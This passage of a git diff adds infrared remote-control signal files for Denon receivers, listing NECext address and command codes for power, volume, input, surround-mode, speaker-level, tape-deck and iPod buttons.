+type: parsed +protocol: NECext +address: 02 00 00 00 +command: 41 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 43 00 00 00 +# +name: AUX/VIDEO_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 44 00 00 00 +# +name: AUX/VIDEO_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 45 00 00 00 +# +name: ZONE3_INPUT_TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 48 00 00 00 +# +name: ZONE3_INPUT_PHONO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 49 00 00 00 +# +name: ZONE3_INPUT_CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4A 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4B 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4C 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4D 00 00 00 +# +name: ZONE3_INPUT_DVD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4E 00 00 00 +# +name: ZONE3_INPUT_VDP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 50 00 00 00 +# +name: ZONE3_INPUT_TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 52 00 00 00 +# +name: ZONE3_INPUT_DBS/SAT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 53 00 00 00 +# +name: ZONE3_INPUT_VCR1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 54 00 00 00 +# +name: ZONE3_INPUT_VCR2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 55 00 00 00 +# +name: ZONE_1_VCR-3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 56 00 00 00 +# +name: MZ-1_VCR-3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 56 00 00 00 +# +name: ZONE3_INPUT_V.AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 57 00 00 00 +# +name: ZONE3_INPUT_CDR/TAPE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5B 00 00 00 +# +name: ZONE_1_TAPE-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5C 00 00 00 +# +name: ZONE2_POWER_TOGGLE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5D 00 00 00 +# +name: DIRECT_DIGITAL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 60 00 00 00 +# +name: OPTICAL_DIGITAL_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 61 00 00 00 +# +name: DIGITAL_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 62 00 00 00 +# +name: DIGITAL_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 63 00 00 00 +# +name: ZONE3_VOLUME_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 65 00 00 00 +# +name: ZONE3_VOLUME_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 66 00 00 00 +# +name: DAT_MONITOR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 67 00 00 00 +# +name: SURROUND_MODE_PURE_DIRECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 6A 00 00 00 +# +name: INPUT_MODE_AUTO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 73 00 00 00 +# +name: INPUT_MODE_PCM +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 74 00 00 00 +# +name: INPUT_MODE_DTS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 75 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 79 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7A 00 00 00 +# +name: ZONE2_POWER_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7B 00 00 00 +# +name: ZONE2_POWER_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7C 00 00 00 +# +name: ZONE3_POWER_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7D 00 00 00 +# +name: ZONE3_POWER_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7E 00 00 00 +# +name: ALL_POWER_TOGGLE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C1 00 00 00 +# +name: FL_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C2 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C3 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: INPUT_TUNER_/_HD_RADIO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C5 00 00 00 +# +name: INPUT_AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C6 00 00 00 +# +name: FL_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C7 00 00 00 +# +name: INPUT_CABLE/SAT/DBS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C8 00 00 00 +# +name: INPUT_TV/DBS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: INPUT_BDP/HDP/DVP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CA 00 00 00 +# +name: FR_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CB 00 00 00 +# +name: INPUT_V.AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: INPUT_GAME/VCR1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CD 00 00 00 +# +name: INPUT_MEDIA_PLAYER/DVR1/VCR2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CE 00 00 00 +# +name: INPUT_DVR2/VCR3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CF 00 00 00 +# +name: FR_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D0 00 00 00 +# +name: AMP_DAT/TAPE_MONITOR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D1 00 00 00 +# +name: INPUT_CDR/DAT/TAPE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D2 00 00 00 +# +name: INPUT_TAPE2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D3 00 00 00 +# +name: CINEMA_EQ_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D5 00 00 00 +# +name: SR_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D6 00 00 00 +# +name: SR_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D7 00 00 00 +# +name: VIDEO_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D8 00 00 00 +# +name: CINEMA_EQ_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D9 00 00 00 +# +name: AMP_VIDEO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DA 00 00 00 +# +name: MODE_MULTI_CHANNEL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DB 00 00 00 +# +name: INPUT_MODE_ANALOG +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DC 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DD 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DE 00 00 00 +# +name: INFO_/_OSD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DF 00 00 00 +# +name: ENTER_/_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E0 00 00 00 +# +name: ALL_POWER_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E1 00 00 00 +# +name: ALL_POWER_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E2 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E3 00 00 00 +# +name: SURROUND_MODE_STANDARD_(DOLBY/DTS) +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E4 00 00 00 +# +name: SW_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E5 00 00 00 +# +name: SURROUND_MODE_DSP_SIMULATION +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E6 00 00 00 +# +name: SB/SBL_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E7 00 00 00 +# +name: AMP_DELAY_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E8 00 00 00 +# +name: AMP_DELAY_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E9 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EA 00 00 00 +# +name: SB/SBL_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EB 00 00 00 +# +name: SUBWOOFER_LEVEL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EC 00 00 00 +# +name: SPEAKER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: ED 00 00 00 +# +name: SP-A,_FRONT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EE 00 00 00 +# +name: SP-B,_FRONT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EF 00 00 00 +# +name: MUTING_/_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F0 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F2 00 00 00 +# +name: SL_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F3 00 00 00 +# +name: SL_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F4 00 00 00 +# +name: CENTER_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F5 00 00 00 +# +name: CENTER_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F6 00 00 00 +# +name: SBR_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F7 00 00 00 +# +name: SBR_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F8 00 00 00 +# +name: TONE_CONTROL_OFF_/_DEFEAT_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F9 00 00 00 +# +name: TONE_CONTROL_ON_/_DEFEAT_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: FA 00 00 00 +# +name: SB_SPEAKER_MATRIX_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: FB 00 00 00 +# +name: SB_SPEAKER_MATRIX_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: FC 00 00 00 +# +name: SB_SPEAKER_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: FD 00 00 00 +# +name: AMP_K-O +type: parsed +protocol: NECext +address: 02 00 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir new file mode 100644 index 000000000..610d68da6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: IPOD_PLAY/PAUSE +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 01 00 00 00 +# +name: IPOD_VOLUME_UP +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 02 00 00 00 +# +name: IPOD_VOLUME_DOWN +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 03 00 00 00 +# +name: IPOD_SKIP_PLUS +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 04 00 00 00 +# +name: IPOD_SKIP_MINUS +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 05 00 00 00 +# +name: IPOD_STOP +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 08 00 00 00 +# +name: IPOD_PAUSE +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 0A 00 00 00 +# +name: IPOD_REPEAT +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 10 00 00 00 +# +name: IPOD_SHUFFLE +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 11 00 00 00 +# +name: IPOD_SEARCH_PLUS +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 15 00 00 00 +# +name: IPOD_SEARCH_MINUS +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 16 00 00 00 +# +name: IPOD_TOP_MENU +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 17 00 00 00 +# +name: IPOD_ENTER +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 18 00 00 00 +# +name: IPOD_CURSOR/ARROW_UP +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 1B 00 00 00 +# +name: IPOD_CURSOR/ARROW_DOWN +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 1C 00 00 00 +# +name: IPOD_CURSOR/ARROW_LEFT +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 1D 00 00 00 +# +name: IPOD_CURSOR/ARROW_RIGHT +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 1E 00 00 00 +# +name: IPOD_STATUS_REQUEST +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 1F 00 00 00 +# +name: IPOD_PAGE_SEARCH +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 22 00 00 00 +# +name: IPOD_RETURN +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 23 00 00 00 +# +name: IPOD_MODE_TOGGLE_BROWSE/REMOTE +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 2D 00 00 00 +# +name: IPOD_MODE_BROWSE +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 2D 00 00 00 +# +name: IPOD_MODE_REMOTE +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 2F 00 00 00 +# +name: IPOD_SHUFFLE_SONGS +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 40 00 00 00 +# +name: IPOD_SHUFFLE_ALBUM +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 41 00 00 00 +# +name: IPOD_SHUFFLE_OFF +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 42 00 00 00 +# +name: IPOD_REPEAT_ONE +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 43 00 00 00 +# +name: IPOD_REPEAT_ALL +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 44 00 00 00 +# +name: IPOD_REPEAT_OFF +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 45 00 00 00 +# +name: POWER_TOGGLE_ON/OFF +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 47 00 00 00 +# +name: TOGGLE_FAVORITES/ALL_MUSIC +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 48 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 49 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 4A 00 00 00 +# +name: INTERNET_RADIO_DIRECT +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 4B 00 00 00 +# +name: IPOD_DIRECT +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 4C 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 4D 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 50 00 00 00 +# +name: TV_SIGNAL_NTSC +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 51 00 00 00 +# +name: TV_SIGNAL_PAL +type: parsed +protocol: NECext +address: 02 03 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir new file mode 100644 index 000000000..17c8f5aa7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_DECK_SELECT_A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: TAPE_DECK_PLAY_REVERSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 57 00 00 00 +# +name: TAPE_DECK_FAST_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: TAPE_DECK_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: TAPE_DECK_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: TAPE_DECK_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 +# +name: TAPE_DECK_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5E 00 00 00 +# +name: TAPE_DECK_RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5F 00 00 00 +# +name: SURROUND_MODE_DSP_WIDE_SCREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 81 00 00 00 +# +name: SURROUND_MODE_DSP_SUPER_STADIUM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: SURROUND_MODE_DSP_ROCK_ARENA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: SURROUND_MODE_DSP_JAZZ_CLUB +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 84 00 00 00 +# +name: SURROUND_MODE_DSP_CLASSIC_CONCERT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: SURROUND_MODE_DSP_MONO_MOVIE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 86 00 00 00 +# +name: SURROUND_MODE_DSP_MATRIX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 87 00 00 00 +# +name: SURROUND_MODE_DSP_VIDEO_GAME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 88 00 00 00 +# +name: SURROUND_MODE_DSP_VIRTUAL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 89 00 00 00 +# +name: SURROUND_MODE_THX_ULTRA2_CINEMA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8A 00 00 00 +# +name: SURROUND_MODE_THX_MUSIC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8B 00 00 00 +# +name: SURROUND_MODE_THX_EX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8C 00 00 00 +# +name: SURROUND_MODE_DTS_NEO:6_CINEMA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8D 00 00 00 +# +name: SURROUND_MODE_DTS_NEO:6_MUSIC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: SURROUND_MODE_DOLBY_PL_II_CINEMA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8F 00 00 00 +# +name: SURROUND_MODE_DOLBY_PL_II_MUSIC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 90 00 00 00 +# +name: SURROUND_MODE_DOLBY_PL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 91 00 00 00 +# +name: SURROUND_MODE_DTS_ES_MATRIX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 93 00 00 00 +# +name: SURROUND_MODE_DOLBY_DIGITAL_EX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 94 00 00 00 +# +name: SURROUND_MODE_CINEMA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 +# +name: SURROUND_MODE_MUSIC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 96 00 00 00 +# +name: SURROUND_MODE_GAME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 97 00 00 00 +# +name: MODE_NIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: ROOM_EQ_/_MULTEQ_TOGGLE_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 9D 00 00 00 +# +name: INPUT_MODE_/_HDMI_MONITOR_AUTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B3 00 00 00 +# +name: INPUT_MODE_PCM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B4 00 00 00 +# +name: INPUT_MODE_DTS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B5 00 00 00 +# +name: INPUT_MODE_RF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B6 00 00 00 +# +name: INPUT_MODE_EXT._IN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B7 00 00 00 +# +name: INPUT_MODE_EXT._IN_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B8 00 00 00 +# +name: MAIN_ZONE_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B9 00 00 00 +# +name: MAIN_ZONE_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BA 00 00 00 +# +name: MULTI_ZONE_2_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BB 00 00 00 +# +name: MULTI_ZONE_2_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BC 00 00 00 +# +name: DAT_DECK_SEARCH_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D8 00 00 00 +# +name: DAT_DECK_SEARCH_BACKWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D9 00 00 00 +# +name: DAT_DECK_FAST_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DA 00 00 00 +# +name: DAT_DECK_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DB 00 00 00 +# +name: DAT_DECK_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DC 00 00 00 +# +name: DAT_DECK_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DD 00 00 00 +# +name: DAT_DECK_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DE 00 00 00 +# +name: DAT_DECK_RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir new file mode 100644 index 000000000..9ebea867b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir @@ -0,0 +1,1166 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 02 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 03 00 00 00 +# +name: 12V_TRIGGER_1_ON +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 0C 00 00 00 +# +name: 12V_TRIGGER_1_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 0D 00 00 00 +# +name: 12V_TRIGGER_2_ON +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 0E 00 00 00 +# +name: 12V_TRIGGER_2_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 0F 00 00 00 +# +name: RETURN_/_BACK +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 22 00 00 00 +# +name: GUI_MENU_/_SETUP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 23 00 00 00 +# +name: TUNER_MEMORY +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 24 00 00 00 +# +name: TUNER_BAND_TOGGLE_AM/FM +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 98 00 00 00 +# +name: TUNER_BAND_FM +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 99 00 00 00 +# +name: TUNER_BAND_AM +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 9A 00 00 00 +# +name: TUNER_BAND_XM +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 9B 00 00 00 +# +name: INTERNET_RADIO_FAVORITE_1 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: F2 00 00 00 +# +name: INTERNET_RADIO_FAVORITE_2 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: F3 00 00 00 +# +name: INTERNET_RADIO_FAVORITE_3 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: F4 00 00 00 +# +name: INTERNET_RADIO_FAVORITE_4 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: F5 00 00 00 +# +name: QUICK_SELECT_/_USER_PRESET_1 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 124 00 00 00 +# +name: QUICK_SELECT_/_USER_PRESET_2 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 125 00 00 00 +# +name: QUICK_SELECT_/_USER_PRESET_3 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 126 00 00 00 +# +name: QUICK_SELECT_/_USER_PRESET_4 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 127 00 00 00 +# +name: QUICK_SELECT_/_USER_PRESET_5 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 128 00 00 00 +# +name: SURROUND_MODE_DIRECT_/_STEREO +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 131 00 00 00 +# +name: PURE_DIRECT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 133 00 00 00 +# +name: SURROUND_MODE_STANDARD +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 134 00 00 00 +# +name: SURROUND_MODE_AUTO +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 144 00 00 00 +# +name: SURROUND_MODE_AURO_3D_PREVIOUS +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 14C 00 00 00 +# +name: SURROUND_MODE_DSP_SIMULATION +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 150 00 00 00 +# +name: SURROUND_MODE_MULTI_CHANNEL +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 151 00 00 00 +# +name: SURROUND_MODE_NEURAL +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 15B 00 00 00 +# +name: SURROUND_MODE_DOLBY_ATMOS +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 15C 00 00 00 +# +name: SURROUND_MODE_AURO_3D_NEXT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 15D 00 00 00 +# +name: INPUT_MODE_HDMI +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 165 00 00 00 +# +name: INPUT_MODE_DIGITAL +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 167 00 00 00 +# +name: INPUT_MODE_DECODE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 16C 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 170 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 171 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 172 00 00 00 +# +name: CHANNEL_LEVEL +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 17A 00 00 00 +# +name: SUBWOOFER_2_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 19A 00 00 00 +# +name: SUBWOOFER_2_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 19B 00 00 00 +# +name: DOLBY_TFL_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1A1 00 00 00 +# +name: DOLBY_TFL_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1A2 00 00 00 +# +name: DOLBY_TFR_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1A3 00 00 00 +# +name: DOLBY_TFR_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1A4 00 00 00 +# +name: DOLBY_TML_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1A5 00 00 00 +# +name: DOLBY_TML_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1A6 00 00 00 +# +name: DOLBY_TMR_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1A7 00 00 00 +# +name: DOLBY_TMR_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1A8 00 00 00 +# +name: DOLBY_TRL_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1A9 00 00 00 +# +name: DOLBY_TRL_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1AA 00 00 00 +# +name: DOLBY_TRR_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1AB 00 00 00 +# +name: DOLBY_TRR_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1AC 00 00 00 +# +name: DOLBY_RHL_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1AD 00 00 00 +# +name: 